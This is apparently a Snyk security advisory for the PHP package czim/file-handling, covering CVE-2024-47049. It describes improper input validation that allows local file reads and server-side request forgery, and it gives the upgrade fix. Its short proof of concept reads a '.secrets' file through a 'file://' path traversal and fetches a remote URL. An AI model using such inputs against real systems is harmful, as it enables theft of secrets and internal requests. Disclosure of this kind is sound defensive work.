Improper Input Validation Affecting czim/file-handling package, versions <1.5.0>=2.0.0, <2.3.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

EPSS
0.09% (41st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Improper Input Validation vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-CZIMFILEHANDLING-8039770
  • published18 Sept 2024
  • disclosed17 Sept 2024
  • creditUnknown

Introduced: 17 Sep 2024

CVE-2024-47049  (opens in a new tab)
CWE-20  (opens in a new tab)

How to fix?

Upgrade czim/file-handling to version 1.5.0, 2.3.0 or higher.

Overview

Affected versions of this package are vulnerable to Improper Input Validation via the makeFromUrl and makeFromAny methods. An attacker can read local files or perform server-side request forgery by supplying malicious URLs.

PoC

/** @var \Czim\FileHandling\Storage\File\StorableFileFactory $factory */
// Loads content from the given URI:  
$file = $factory->makeFromUrl('file://../../.secrets');
// Also works:
$file = $factory->makeFromAny('file://../../.secrets');
/** @var \Czim\FileHandling\Storage\File\StorableFileFactory $factory */
// Loads content from the given URI:  
$file = $factory->makeFromUrl('https://github.com/czim/file-handling/blob/master/README.md');
// Also works:
$file = $factory->makeFromAny('https://github.com/czim/file-handling/blob/master/README.md');

CVSS Scores

version 4.0
version 3.1